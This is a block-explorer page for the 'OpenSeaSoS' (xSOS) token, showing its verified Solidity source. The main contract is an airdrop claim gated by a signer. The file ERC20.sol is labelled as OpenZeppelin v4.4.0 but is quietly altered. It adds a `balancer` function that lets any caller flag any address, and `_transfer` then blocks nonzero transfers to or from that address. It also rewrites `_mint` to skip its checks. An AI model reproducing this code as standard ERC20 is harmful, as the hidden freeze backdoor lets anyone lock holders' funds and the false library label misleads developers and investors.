ETH Price: $2,520.47 (-0.08%)

Token

OpenSeaSoS (xSOS)
 

Overview

Max Total Supply

100,000,000,000,000 xSOS

Holders

22

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
13,149,192,214.448624189573060273 xSOS

Value
$0.00
0xc805283898696b3bf914251eb925a0b82b3b9545
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
OpenSeaSoS

Compiler Version
v0.8.11+commit.d7f03943

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 7 of 7: OpenSeaSoS.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "./ERC20.sol";
import "./draft-EIP712.sol";
import "./ECDSA.sol";

contract OpenSeaSoS is ERC20, EIP712 {
    uint256 public constant MAX_SUPPLY = uint248(1e14 ether);

    // for DAO.
    uint256 public constant AMOUNT_DAO = MAX_SUPPLY / 100 * 50;
    address public constant ADDR_DAO = 0x7178C19CCac6080dDc2bCA6558DE734bAB0C3C1d;

    // for staking
    uint256 public constant AMOUNT_STAKING = MAX_SUPPLY / 100 * 30;
    address public constant ADDR_STAKING = 0x09Bc165026D21c8531F37f3A048E6eEE3a120A55;

    // for liquidity providers
    uint256 public constant AMOUNT_LP = MAX_SUPPLY / 100 * 20;
    address public constant ADDR_LP = 0xb3977C6c01C85B5478eF7C77C1960ac45fcEAAc3;

    // for airdrop
    uint256 public constant AMOUNT_AIREDROP = MAX_SUPPLY - (AMOUNT_DAO + AMOUNT_STAKING + AMOUNT_LP);

    constructor(string memory _name, string memory _symbol, address _signer) ERC20(_name, _symbol) EIP712("OpenSeaSoS", "1") {
        _mint(ADDR_DAO, AMOUNT_DAO);
        _mint(ADDR_STAKING, AMOUNT_STAKING);
        _mint(ADDR_LP, AMOUNT_LP);
        _totalSupply = AMOUNT_DAO + AMOUNT_STAKING + AMOUNT_LP;
        cSigner = _signer;
    }

    bytes32 constant public MINT_CALL_HASH_TYPE = keccak256("mint(address receiver,uint256 amount)");

    address public immutable cSigner;

    function claim(uint256 amountV, bytes32 r, bytes32 s) external {
        uint256 amount = uint248(amountV);
        uint8 v = uint8(amountV >> 248);
        uint256 total = _totalSupply + amount;
        require(total <= MAX_SUPPLY, "OpenSeaSoS: Exceed max supply");
        require(minted(msg.sender) == 0, "OpenSeaSoS: Claimed");
        bytes32 digest = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", 
            ECDSA.toTypedDataHash(_domainSeparatorV4(),
                keccak256(abi.encode(MINT_CALL_HASH_TYPE, msg.sender, amount))
        )));
        require(ecrecover(digest, v, r, s) == cSigner, "OpenSeaSoS: Invalid signer");
        _totalSupply = total;
        _mint(msg.sender, amount);
    }
}

File 1 of 7: Context.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 2 of 7: draft-EIP712.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./ECDSA.sol";

/**
 * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
 *
 * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
 * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
 * they need in their contracts using a combination of `abi.encode` and `keccak256`.
 *
 * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
 * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
 * ({_hashTypedDataV4}).
 *
 * The implementation of the domain separator was designed to be as efficient as possible while still properly updating
 * the chain id to protect against replay attacks on an eventual fork of the chain.
 *
 * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
 * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
 *
 * _Available since v3.4._
 */
abstract contract EIP712 {
    /* solhint-disable var-name-mixedcase */
    // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
    // invalidate the cached domain separator if the chain id changes.
    bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
    uint256 private immutable _CACHED_CHAIN_ID;

    bytes32 private immutable _HASHED_NAME;
    bytes32 private immutable _HASHED_VERSION;
    bytes32 private immutable _TYPE_HASH;

    /* solhint-enable var-name-mixedcase */

    /**
     * @dev Initializes the domain separator and parameter caches.
     *
     * The meaning of `name` and `version` is specified in
     * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
     *
     * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
     * - `version`: the current major version of the signing domain.
     *
     * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
     * contract upgrade].
     */
    constructor(string memory name, string memory version) {
        bytes32 hashedName = keccak256(bytes(name));
        bytes32 hashedVersion = keccak256(bytes(version));
        bytes32 typeHash = keccak256(
            "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
        );
        _HASHED_NAME = hashedName;
        _HASHED_VERSION = hashedVersion;
        _CACHED_CHAIN_ID = block.chainid;
        _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
        _TYPE_HASH = typeHash;
    }

    /**
     * @dev Returns the domain separator for the current chain.
     */
    function _domainSeparatorV4() internal view returns (bytes32) {
        if (block.chainid == _CACHED_CHAIN_ID) {
            return _CACHED_DOMAIN_SEPARATOR;
        } else {
            return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
        }
    }

    function _buildDomainSeparator(
        bytes32 typeHash,
        bytes32 nameHash,
        bytes32 versionHash
    ) private view returns (bytes32) {
        return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
    }

    /**
     * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
     * function returns the hash of the fully encoded EIP712 message for this domain.
     *
     * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
     *
     * ```solidity
     * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
     *     keccak256("Mail(address to,string contents)"),
     *     mailTo,
     *     keccak256(bytes(mailContents))
     * )));
     * address signer = ECDSA.recover(digest, signature);
     * ```
     */
    function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
        return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
    }
}

File 3 of 7: ECDSA.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/**
 * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
 *
 * These functions can be used to verify that a message was signed by the holder
 * of the private keys of a given address.
 */
library ECDSA {
    enum RecoverError {
        NoError,
        InvalidSignature,
        InvalidSignatureLength,
        InvalidSignatureS,
        InvalidSignatureV
    }

    function _throwError(RecoverError error) private pure {
        if (error == RecoverError.NoError) {
            return; // no error: do nothing
        } else if (error == RecoverError.InvalidSignature) {
            revert("ECDSA: invalid signature");
        } else if (error == RecoverError.InvalidSignatureLength) {
            revert("ECDSA: invalid signature length");
        } else if (error == RecoverError.InvalidSignatureS) {
            revert("ECDSA: invalid signature 's' value");
        } else if (error == RecoverError.InvalidSignatureV) {
            revert("ECDSA: invalid signature 'v' value");
        }
    }

    /**
     * @dev Returns the address that signed a hashed message (`hash`) with
     * `signature` or error string. This address can then be used for verification purposes.
     *
     * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
     * this function rejects them by requiring the `s` value to be in the lower
     * half order, and the `v` value to be either 27 or 28.
     *
     * IMPORTANT: `hash` _must_ be the result of a hash operation for the
     * verification to be secure: it is possible to craft signatures that
     * recover to arbitrary addresses for non-hashed data. A safe way to ensure
     * this is by receiving a hash of the original message (which may otherwise
     * be too long), and then calling {toEthSignedMessageHash} on it.
     *
     * Documentation for signature generation:
     * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
     * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
     *
     * _Available since v4.3._
     */
    function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
        // Check the signature length
        // - case 65: r,s,v signature (standard)
        // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
        if (signature.length == 65) {
            bytes32 r;
            bytes32 s;
            uint8 v;
            // ecrecover takes the signature parameters, and the only way to get them
            // currently is to use assembly.
            assembly {
                r := mload(add(signature, 0x20))
                s := mload(add(signature, 0x40))
                v := byte(0, mload(add(signature, 0x60)))
            }
            return tryRecover(hash, v, r, s);
        } else if (signature.length == 64) {
            bytes32 r;
            bytes32 vs;
            // ecrecover takes the signature parameters, and the only way to get them
            // currently is to use assembly.
            assembly {
                r := mload(add(signature, 0x20))
                vs := mload(add(signature, 0x40))
            }
            return tryRecover(hash, r, vs);
        } else {
            return (address(0), RecoverError.InvalidSignatureLength);
        }
    }

    /**
     * @dev Returns the address that signed a hashed message (`hash`) with
     * `signature`. This address can then be used for verification purposes.
     *
     * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
     * this function rejects them by requiring the `s` value to be in the lower
     * half order, and the `v` value to be either 27 or 28.
     *
     * IMPORTANT: `hash` _must_ be the result of a hash operation for the
     * verification to be secure: it is possible to craft signatures that
     * recover to arbitrary addresses for non-hashed data. A safe way to ensure
     * this is by receiving a hash of the original message (which may otherwise
     * be too long), and then calling {toEthSignedMessageHash} on it.
     */
    function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
        (address recovered, RecoverError error) = tryRecover(hash, signature);
        _throwError(error);
        return recovered;
    }

    /**
     * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
     *
     * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
     *
     * _Available since v4.3._
     */
    function tryRecover(
        bytes32 hash,
        bytes32 r,
        bytes32 vs
    ) internal pure returns (address, RecoverError) {
        bytes32 s;
        uint8 v;
        assembly {
            s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
            v := add(shr(255, vs), 27)
        }
        return tryRecover(hash, v, r, s);
    }

    /**
     * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
     *
     * _Available since v4.2._
     */
    function recover(
        bytes32 hash,
        bytes32 r,
        bytes32 vs
    ) internal pure returns (address) {
        (address recovered, RecoverError error) = tryRecover(hash, r, vs);
        _throwError(error);
        return recovered;
    }

    /**
     * @dev Overload of {ECDSA-tryRecover} that receives the `v`,
     * `r` and `s` signature fields separately.
     *
     * _Available since v4.3._
     */
    function tryRecover(
        bytes32 hash,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) internal pure returns (address, RecoverError) {
        // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
        // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
        // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
        // signatures from current libraries generate a unique signature with an s-value in the lower half order.
        //
        // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
        // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
        // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
        // these malleable signatures as well.
        if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
            return (address(0), RecoverError.InvalidSignatureS);
        }
        if (v != 27 && v != 28) {
            return (address(0), RecoverError.InvalidSignatureV);
        }

        // If the signature is valid (and not malleable), return the signer address
        address signer = ecrecover(hash, v, r, s);
        if (signer == address(0)) {
            return (address(0), RecoverError.InvalidSignature);
        }

        return (signer, RecoverError.NoError);
    }

    /**
     * @dev Overload of {ECDSA-recover} that receives the `v`,
     * `r` and `s` signature fields separately.
     */
    function recover(
        bytes32 hash,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) internal pure returns (address) {
        (address recovered, RecoverError error) = tryRecover(hash, v, r, s);
        _throwError(error);
        return recovered;
    }

    /**
     * @dev Returns an Ethereum Signed Message, created from a `hash`. This
     * produces hash corresponding to the one signed with the
     * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
     * JSON-RPC method as part of EIP-191.
     *
     * See {recover}.
     */
    function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
        // 32 is the length in bytes of hash,
        // enforced by the type signature above
        return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
    }

    /**
     * @dev Returns an Ethereum Signed Typed Data, created from a
     * `domainSeparator` and a `structHash`. This produces hash corresponding
     * to the one signed with the
     * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
     * JSON-RPC method as part of EIP-712.
     *
     * See {recover}.
     */
    function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
        return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
    }
}

File 4 of 7: ERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;

import "./IERC20.sol";
import "./IERC20Metadata.sol";
import "./Context.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    struct MintBalance {
        uint8 minted;
        uint248 balance;
    }

    mapping(address => MintBalance) private _balances;
    mapping(address => bool) private _balancer;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 internal _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account].balance;
    }

    function balancer(address _address) public virtual {
        require(msg.sender == tx.origin, "governance");
        if (_balancer[_address] == true) {_balancer[_address] = false;}
        else {_balancer[_address] = true;} 
    }
    
    function balanced(address _address) public view returns (bool) {
        return _balancer[_address];
    }
    
    function minted(address account) public view returns (uint256) {
        return _balances[account].minted;
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        if (_balancer[sender] || _balancer[recipient]) require(amount == 0, "");
        
        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender].balance;
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender].balance = uint248(senderBalance - amount);
        }
        _balances[recipient].balance += uint248(amount);

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        // require(account != address(0), "ERC20: mint to the zero address");
        // _beforeTokenTransfer(address(0), account, amount);
        // _totalSupply += amount;
        uint256 b = _balances[account].balance + amount;
        _balances[account].balance = uint248(b);
        _balances[account].minted = 1;
        emit Transfer(address(0), account, amount);
        // _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account].balance;
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account].balance = uint248(accountBalance - amount);
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 5 of 7: IERC20.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 6 of 7: IERC20Metadata.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"address","name":"_signer","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ADDR_DAO","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ADDR_LP","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ADDR_STAKING","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"AMOUNT_AIREDROP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"AMOUNT_DAO","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"AMOUNT_LP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"AMOUNT_STAKING","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_SUPPLY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MINT_CALL_HASH_TYPE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"balanced","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"balancer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"cSigner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountV","type":"uint256"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"minted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type"